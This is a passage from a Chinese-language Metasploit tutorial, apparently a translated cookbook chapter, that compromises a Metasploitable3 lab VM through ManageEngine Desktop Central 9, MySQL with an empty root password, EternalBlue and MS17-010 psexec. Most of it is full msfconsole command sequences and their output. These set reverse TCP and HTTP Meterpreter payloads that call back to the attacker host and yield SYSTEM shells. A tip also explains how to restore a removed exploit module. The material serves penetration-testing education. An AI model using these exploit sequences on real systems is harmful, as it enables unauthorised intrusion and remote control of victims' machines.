24. Computer : METASPLOITABLE3
25. OS : Windows 2008 R2 (Build 7601, Service Pack 1).
26. Architecture : x64
27. System Language : en_US
28. Domain : WORKGROUP
29. Logged On Users : 2
30. Meterpreter : x86/windows
31. meterpreter > getuid
32. Server username: NT AUTHORITY\LOCAL SERVICE
33. meterpreter >
34. 复制代码

攻击ManageEngine Desktop Central 9

2. msf5 exploit(multi/http/jenkins_script_console) > search type:exploit Manageengine
4. Matching Modules
5. ================
7. # Name Disclosure Date Rank Check Description
8. – —- ————— —- —– ———–
9. 1 exploit/multi/http/eventlog_file_upload 2014-08-31 excellent Yes ManageEngine Eventlog Analyzer Arbitrary File Upload
10. 2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
11. 3 exploit/multi/http/manageengine_auth_upload 2014-12-15 excellent Yes ManageEngine Multiple Products Authenticated File Upload
12. 4 exploit/multi/http/manageengine_sd_uploader 2015-08-20 excellent Yes ManageEngine ServiceDesk Plus Arbitrary File Upload
13. 5 exploit/multi/http/manageengine_search_sqli 2012-10-18 excellent Yes ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection
14. 6 exploit/multi/http/opmanager_socialit_file_upload 2014-09-27 excellent Yes ManageEngine OpManager and Social IT Arbitrary File Upload
15. 7 exploit/windows/http/desktopcentral_file_upload 2013-11-11 excellent Yes ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload
16. 8 exploit/windows/http/desktopcentral_statusupdate_upload 2014-08-31 excellent Yes ManageEngine Desktop Central StatusUpdate Arbitrary File Upload
17. 9 exploit/windows/http/manage_engine_opmanager_rce 2015-09-14 manual Yes ManageEngine OpManager Remote Code Execution
18. 10 exploit/windows/http/manageengine_adshacluster_rce 2018-06-28 excellent Yes Manage Engine Exchange Reporter Plus Unauthenticated RCE
19. 11 exploit/windows/http/manageengine_appmanager_exec 2018-03-07 excellent Yes ManageEngine Applications Manager Remote Code Execution
20. 12 exploit/windows/http/manageengine_apps_mngr 2011-04-08 average No ManageEngine Applications Manager Authenticated Code Execution
21. 13 exploit/windows/http/manageengine_connectionid_write 2015-12-14 excellent Yes ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability
22. 14 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
25. msf5 exploit(multi/http/jenkins_script_console) >
26. 复制代码

1. msf5 exploit(multi/http/jenkins_script_console) > use exploit/windows/http/manageengine_connectionid_write
2. msf5 exploit(windows/http/manageengine_connectionid_write) > set PAYLOAD windows/meterpreter/reverse_http
3. PAYLOAD => windows/meterpreter/reverse_http
4. msf5 exploit(windows/http/manageengine_connectionid_write) > set LHOST 192.168.177.143
5. LHOST => 192.168.177.143
6. msf5 exploit(windows/http/manageengine_connectionid_write) > exploit
8. [–] Exploit failed: The following options failed to validate: RHOSTS.
9. [*] Exploit completed, but no session was created.
10. msf5 exploit(windows/http/manageengine_connectionid_write) > set RHOSTS 192.168.177.144
11. RHOSTS => 192.168.177.144
12. msf5 exploit(windows/http/manageengine_connectionid_write) > exploit
14. [*] Started HTTP reverse handler on http://192.168.177.143:8080
15. [*] Creating JSP stager
16. [*] Uploading JSP stager uBzAP.jsp…
17. [*] Executing stager…
18. [*] http://192.168.177.143:8080 handling request from 192.168.177.144; (UUID: tsqgh8zb) Staging x86 payload (180825 bytes) …
19. [*] Meterpreter session 3 opened (192.168.177.143:8080 -> 192.168.177.144:49632) at 2019-04-26 17:39:09 +0800
20. [!] This exploit may require manual cleanup of ‘../webapps/DesktopCentral/jspf/uBzAP.jsp’ on the target
22. meterpreter >
23. meterpreter > getuid
24. Server username: NT AUTHORITY\LOCAL SERVICE
25. meterpreter > sysinfo
26. Computer : METASPLOITABLE3
27. OS : Windows 2008 R2 (Build 7601, Service Pack 1).
28. Architecture : x64
29. System Language : en_US
30. Domain : WORKGROUP
31. Logged On Users : 2
32. Meterpreter : x86/windows
33. meterpreter >
34. 复制代码

5、利用公用服务

在漏洞攻击时，有些服务跟目标上其他大部分服务都有关系，而大多数是情况下它们被忽视了。

准备工作

在本节中，我们将利用目标环境中最常见和最容易被滥用的服务-Mysql。大多数情况下，我们可以利用Mysql服务，因为它们是出于开发目的安装的。忽略了一些安全加固。比如设置root密码或者设置强密码。

本节我们将使用Metasploitable3作为靶机

怎么做

要利用目标的Mysql服务，我们先使用MySQL枚举模块枚举目标，然后使用Oracle MySQL for the Microsoft Windows Payload攻击模块获取远程主机的shell。

TIP：mysql_paylod模块在新版的Metasploit中被移除了。不过你可以从 https://www.exploit-db.com/download/16957下载这个模块，放到Metasploit对应的模块目录中(/usr/share/metasploit-framework/modules/exploits/windows/mysql)，修改代码的前面几行为如下内容就行。

1. ##
2. # $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $
3. ##
5. ##
6. # This file is part of the Metasploit Framework and may be subject to
7. # redistribution and commercial restrictions. Please see the Metasploit
8. # Framework web site for more information on licensing and terms of use.
9. # http://metasploit.com/framework/
10. ##
12. require ‘msf/core’
14. class MetasploitModule < Msf::Exploit::Remote
15. Rank = ExcellentRanking
17. include Msf::Exploit::Remote::MYSQL
18. include Msf::Exploit::CmdStager
20. 复制代码

枚举：

1. msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/admin/mysql/mysql_enum
2. msf5 auxiliary(admin/mysql/mysql_enum) > set RHOSTS 192.168.177.144
3. RHOSTS => 192.168.177.144
4. msf5 auxiliary(admin/mysql/mysql_enum) > set USERNAME root
5. USERNAME => root
6. msf5 auxiliary(admin/mysql/mysql_enum) > run
7. [*] Running module against 192.168.177.144
9. [*] 192.168.177.144:3306 – Running MySQL Enumerator…
10. [*] 192.168.177.144:3306 – Enumerating Parameters
11. [*] 192.168.177.144:3306 – MySQL Version: 5.5.20-log
12. [*] 192.168.177.144:3306 – Compiled for the following OS: Win64
13. [*] 192.168.177.144:3306 – Architecture: x86
14. [*] 192.168.177.144:3306 – Server Hostname: metasploitable3
15. [*] 192.168.177.144:3306 – Data Directory: c:\wamp\bin\mysql\mysql5.5.20\data\
16. [*] 192.168.177.144:3306 – Logging of queries and logins: OFF
17. [*] 192.168.177.144:3306 – Old Password Hashing Algorithm OFF
18. [*] 192.168.177.144:3306 – Loading of local files: ON
19. [*] 192.168.177.144:3306 – Deny logins with old Pre-4.1 Passwords: OFF
20. [*] 192.168.177.144:3306 – Allow Use of symlinks for Database Files: YES
21. [*] 192.168.177.144:3306 – Allow Table Merge:
22. [*] 192.168.177.144:3306 – SSL Connection: DISABLED
23. [*] 192.168.177.144:3306 – Enumerating Accounts:
24. [*] 192.168.177.144:3306 – List of Accounts with Password Hashes:
25. [+] 192.168.177.144:3306 – User: root Host: localhost Password Hash:
26. [+] 192.168.177.144:3306 – User: root Host: 127.0.0.1 Password Hash:
27. [+] 192.168.177.144:3306 – User: root Host: ::1 Password Hash:
28. [+] 192.168.177.144:3306 – User: Host: localhost Password Hash:
29. [+] 192.168.177.144:3306 – User: root Host: % Password Hash:
30. [*] 192.168.177.144:3306 – The following users have GRANT Privilege:
31. [*] 192.168.177.144:3306 – User: root Host: localhost
32. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
33. [*] 192.168.177.144:3306 – User: root Host: ::1
34. [*] 192.168.177.144:3306 – The following users have CREATE USER Privilege:
35. [*] 192.168.177.144:3306 – User: root Host: localhost
36. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
37. [*] 192.168.177.144:3306 – User: root Host: ::1
38. [*] 192.168.177.144:3306 – User: root Host: %
39. [*] 192.168.177.144:3306 – The following users have RELOAD Privilege:
40. [*] 192.168.177.144:3306 – User: root Host: localhost
41. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
42. [*] 192.168.177.144:3306 – User: root Host: ::1
43. [*] 192.168.177.144:3306 – User: root Host: %
44. [*] 192.168.177.144:3306 – The following users have SHUTDOWN Privilege:
45. [*] 192.168.177.144:3306 – User: root Host: localhost
46. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
47. [*] 192.168.177.144:3306 – User: root Host: ::1
48. [*] 192.168.177.144:3306 – User: root Host: %
49. [*] 192.168.177.144:3306 – The following users have SUPER Privilege:
50. [*] 192.168.177.144:3306 – User: root Host: localhost
51. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
52. [*] 192.168.177.144:3306 – User: root Host: ::1
53. [*] 192.168.177.144:3306 – User: root Host: %
54. [*] 192.168.177.144:3306 – The following users have FILE Privilege:
55. [*] 192.168.177.144:3306 – User: root Host: localhost
56. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
57. [*] 192.168.177.144:3306 – User: root Host: ::1
58. [*] 192.168.177.144:3306 – User: root Host: %
59. [*] 192.168.177.144:3306 – The following users have PROCESS Privilege:
60. [*] 192.168.177.144:3306 – User: root Host: localhost
61. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
62. [*] 192.168.177.144:3306 – User: root Host: ::1
63. [*] 192.168.177.144:3306 – User: root Host: %
64. [*] 192.168.177.144:3306 – The following accounts have privileges to the mysql database:
65. [*] 192.168.177.144:3306 – User: root Host: localhost
66. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
67. [*] 192.168.177.144:3306 – User: root Host: ::1
68. [*] 192.168.177.144:3306 – User: root Host: %
69. [*] 192.168.177.144:3306 – Anonymous Accounts are Present:
70. [*] 192.168.177.144:3306 – User: Host: localhost
71. [*] 192.168.177.144:3306 – The following accounts have empty passwords:
72. [*] 192.168.177.144:3306 – User: root Host: localhost
73. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
74. [*] 192.168.177.144:3306 – User: root Host: ::1
75. [*] 192.168.177.144:3306 – User: Host: localhost
76. [*] 192.168.177.144:3306 – User: root Host: %
77. [*] 192.168.177.144:3306 – The following accounts are not restricted by source:
78. [*] 192.168.177.144:3306 – User: root Host: %
79. [*] Auxiliary module execution completed
80. msf5 auxiliary(admin/mysql/mysql_enum) >
81. 复制代码

进行攻击：

1. msf5> use exploit/windows/mysql/mysql_payload
2. msf5 exploit(windows/mysql/mysql_payload) > show options
3. msf5 exploit(windows/mysql/mysql_payload) > set RHOSTS 192.168.177.144
4. RHOSTS => 192.168.177.144
5. msf5 exploit(windows/mysql/mysql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
6. PAYLOAD => windows/meterpreter/reverse_tcp
7. msf5 exploit(windows/mysql/mysql_payload) > set LHOST 192.168.177.143
8. LHOST => 192.168.177.143
9. msf5 exploit(windows/mysql/mysql_payload) > set LPORT 4444
10. LPORT => 4444
11. msf5 exploit(windows/mysql/mysql_payload) > exploit
12. [*] Started reverse TCP handler on 192.168.177.143:4444
13. [*] 192.168.177.144:3306 – Checking target architecture…
14. [*] 192.168.177.144:3306 – Checking for sys_exec()…
15. [*] 192.168.177.144:3306 – sys_exec() already available, using that (override with FORCE_UDF_UPLOAD).
16. [*] 192.168.177.144:3306 – Command Stager progress – 1.47% done (1499/102246 bytes)
17. [*] 192.168.177.144:3306 – Command Stager progress – 2.93% done (2998/102246 bytes)
18. [*] 192.168.177.144:3306 – Command Stager progress – 4.40% done (4497/102246 bytes)
19. [*] 192.168.177.144:3306 – Command Stager progress – 5.86% done (5996/102246 bytes)
20. ……
21. [*] Sending stage (179779 bytes) to 192.168.177.144
22. [*] 192.168.177.144:3306 – Command Stager progress – 100.00% done (102246/102246 bytes)
23. [*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:55358) at 2019-04-26 16:25:45 +0800
25. meterpreter > getuid
26. Server username: NT AUTHORITY\SYSTEM
27. meterpreter >
28. 复制代码

如果目标Mysql没有设置root密码，因此可以使用 MySQL服务上传shell并获得系统的远程访问权限。就像上面一样。所以，永远不要忘记对基础服务进行渗透测试。即便你认为不会有人傻到配置无密码的服务。

6、MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏

再次利用在信息收集和扫描阶段收集的信息，特别是MS17-010 SMB RCE检测辅助模块的输出信息，我们可以转向下一个易受攻击的服务。

准备工作

MS17-010 EthernalBlue SMB Remote Windows Kernel Pool Corruption攻击模块是Equation Group ETERNALBLUE的一部分。Equation Group ETERNALBLUE是FuzzBunch toolkit的一部分。由Shadow Brokrs从美国国家安全局（NSA）获取并公开。ETERNALBLUE通常被认为是由NSA开发。它利用srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝从而造成缓冲区溢出，进而允许我们执行任意命令。它在被公开后被用在WannaCry勒索软件中进行攻击。此漏洞会影响所有运行SMBv1服务且未更新SMB安全补丁的Windows计算机和Windows服务器。

怎么做

载入ms17_010_eternalblue模块，设置目标IP地址，设置Payload，然后执行攻击

1. msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.177.144
2. RHOSTS => 192.168.177.144
3. msf5 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
4. PAYLOAD => windows/x64/meterpreter/reverse_tcp
5. msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.177.143
6. LHOST => 192.168.177.143
7. msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
8. msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
10. [*] Started reverse TCP handler on 192.168.177.143:4444
11. [*] 192.168.177.144:445 – Connecting to target for exploitation.
12. [+] 192.168.177.144:445 – Connection established for exploitation.
13. [+] 192.168.177.144:445 – Target OS selected valid for OS indicated by SMB reply
14. [*] 192.168.177.144:445 – CORE raw buffer dump (51 bytes)
15. [*] 192.168.177.144:445 – 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
16. [*] 192.168.177.144:445 – 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
17. [*] 192.168.177.144:445 – 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
18. [*] 192.168.177.144:445 – 0x00000030 6b 20 31 k 1
19. [+] 192.168.177.144:445 – Target arch selected valid for arch indicated by DCE/RPC reply
20. [*] 192.168.177.144:445 – Trying exploit with 12 Groom Allocations.
21. [*] 192.168.177.144:445 – Sending all but last fragment of exploit packet
22. [*] 192.168.177.144:445 – Starting non-paged pool grooming
23. [+] 192.168.177.144:445 – Sending SMBv2 buffers
24. [+] 192.168.177.144:445 – Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
25. [*] 192.168.177.144:445 – Sending final SMBv2 buffers.
26. [*] 192.168.177.144:445 – Sending last fragment of exploit packet!
27. [*] 192.168.177.144:445 – Receiving response from exploit packet
28. [+] 192.168.177.144:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)!
29. [*] 192.168.177.144:445 – Sending egg to corrupted connection.
30. [*] 192.168.177.144:445 – Triggering free of corrupted buffer.
31. [*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:49655) at 2019-04-26 17:40:54 +0800
32. [+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
33. [+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
34. [+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
36. meterpreter >
37. meterpreter > sysinfo
38. Computer : METASPLOITABLE3
39. OS : Windows 2008 R2 (Build 7601, Service Pack 1).
40. Architecture : x64
41. System Language : en_US
42. Domain : WORKGROUP
43. Logged On Users : 2
44. Meterpreter : x64/windows
45. meterpreter > getuid
46. Server username: NT AUTHORITY\SYSTEM
47. meterpreter >
49. 复制代码

7、MS17-010 EternalRomance/EternalSynergy/EternalChampion

MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution攻击模块也可用于MS17-0101漏洞利用。而且比EnternalBlue更可靠，不过需要命名管道。

怎么做

使用模块ms17_010_psexec

1. msf5 > use exploit/windows/smb/ms17_010_psexec
2. msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.177.144
3. RHOSTS => 192.168.177.144
4. msf5 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
5. PAYLOAD => windows/meterpreter/reverse_tcp
6. msf5 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.177.143
7. LHOST => 192.168.177.143
8. msf5 exploit(windows/smb/ms17_010_psexec) > exploit
10. [*] Started reverse TCP handler on 192.168.177.143:4444
11. [*] 192.168.177.144:445 – Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
12. [*] 192.168.177.144:445 – Built a write-what-where primitive…
13. [+] 192.168.177.144:445 – Overwrite complete… SYSTEM session obtained!
14. [*] 192.168.177.144:445 – Selecting PowerShell target
15. [*] 192.168.177.144:445 – Executing the payload…
16. [+] 192.168.177.144:445 – Service start timed out, OK if running a command or non-service executable…
17. [*] Sending stage (179779 bytes) to 192.168.177.144
18. [*] Meterpreter session 2 opened (192.168.177.143:4444 -> 192.168.177.144:62432) at 2019-04-28 09:37:48 +0800
20. meterpreter > getuid
21. Server username: NT AUTHORITY\SYSTEM
22. meterpreter > sysinfo
23. Computer : METASPLOITABLE3
24. OS : Windows 2008 R2 (Build 7601, Service Pack 1).
25. Architecture : x64
26. System Language : en_US
27. Domain : WORKGROUP
28. Logged On Users : 2
29. Meterpreter : x86/windows
30. meterpreter >
31. 复制代码